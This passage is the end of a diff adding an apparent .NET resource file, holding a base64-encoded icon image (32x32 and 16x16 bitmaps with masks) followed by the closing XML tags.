+ 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
+ U/8VFBT8Fhgr/kZckP9VdKn/Yoi8/3Kdzv+MtNv/qczn/8Xi8v+NpcH+SVt9qAAAACYAAAAIAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAEjg4OFRAQEDnfGxm/+W3pf//zrn//9S+///Zw///3sj//+HL///j
+ zf//5M3//+PM/+PItP9bT0j/FRok/1Z4pf9ync7/jLTb/6nM5//F4vL/jaXB/klbfagAAAAmAAAACAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo7OztIS0tL76aLgf/7xrL//s25///Zx///3cn//+HL///n
+ 0P//7NT//+/X///v2P//7tb//+rT///lzv+SgHP/DxMY/3uewP+pzOf/xeLy/42lwf5JW32oAAAAJgAA
+ AAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAES0tLI09PT9+njIL/98Ow//7Nuf//4dP//+HQ///i
+ zP//6tP///HZ///33///++L///vj///64f//9d3//+/X///n0P+RgHP/JCsw/77b6/+NpcH+R1l6rQAA
+ ACkAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApQUFCZhXdx//G/rP/7yLb//+PX///m
+ 2P//4Mr//+nS///y2v//++L///7p////7v///+/////t///+5///+N///+/X///lzv9aT0j/RlJh/jxL
+ Z8sAAABPAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAU1NTJGFhYPTXrZ3/9MGu//7d
+ 0f//6eD//+DO///kzf//7tf///nh///+6/////T////7/////P////n////x///+5///9d3//+rT/+PH
+ tP8WFRX8BAQEsAAAAF0AAAAZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABbW1t5jn96/+y7
+ qP/4y7v//+nh///q4P//3cf//+fQ///y2v///eX////x/////P///////////////v////n////t///6
+ 4f//7tb//+PM/2daU/8MDAzVAAAAdwAAACUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRk
+ ZLq4mo7/7buo//vbz///7OT//+bZ///dyP//6NH///Tc///+6P////T////+////////////////////
+ /P///+////vj///v2P//5M3/spqM/xQUFOwAAACIAAAALgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAa2tr4NGpmv/tu6j//ufe///u5///49X//93H///o0f//89v///3n////8/////7/////////
+ ///////////7////7v//++L//+/X///jzf/hwK7/HR0d9wAAAJEAAAAyAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAABzc3Py26+e/+y7qP//7uf///Dq///j1f//28X//+XO///w2P//++P////t////
+ +P////7////+/////P////T///7p///33///7NT//+HL//bQu/8jIyP9AAAAkAAAADIAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAHh4ePHarp7/6rmn///w6v//8u3//+bb///Ywv//4cv//+vU///1
+ 3f///eb////t////8/////T////x///+6///++L///HZ///n0P//3sj/9c25/ygoKP0AAACHAAAALQAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenp63M6omf/nt6T//evk///08P//8Or//9S////c
+ xv//5c7//+3W///13f//++P///3n///+6P///eX///nh///y2v//6tP//+HL///Zw//guaf/Kioq9gAA
+ AHQAAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB+fn6su5+U/+S0ov/33dT///bz///4
+ 9v//3Mz//9bB///eyP//5c7//+vU///w2P//89v///Tc///y2v//7tf//+nS///izP//3cj//9S//7aW
+ iv8oKCjkAAAAWwAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIGBgWKhlI//4LGf/+3E
+ tf//+Pb///r5///28///1MH//9bB///cxv//4cv//+XO///o0f//6NH//+fQ///kzf//38n//93J///d
+ zP//zrn/eGdh/yQkJLoAAAA7AAAACQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf39/CoyL
+ i+zQqZv/47Oh//fi2v///Pv///7+///08P//1cT//9S////Ywv//28X//93H///dyP//3cf//9vG///g
+ 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
+</value>
+ </data>
+</root> \ No newline at end of file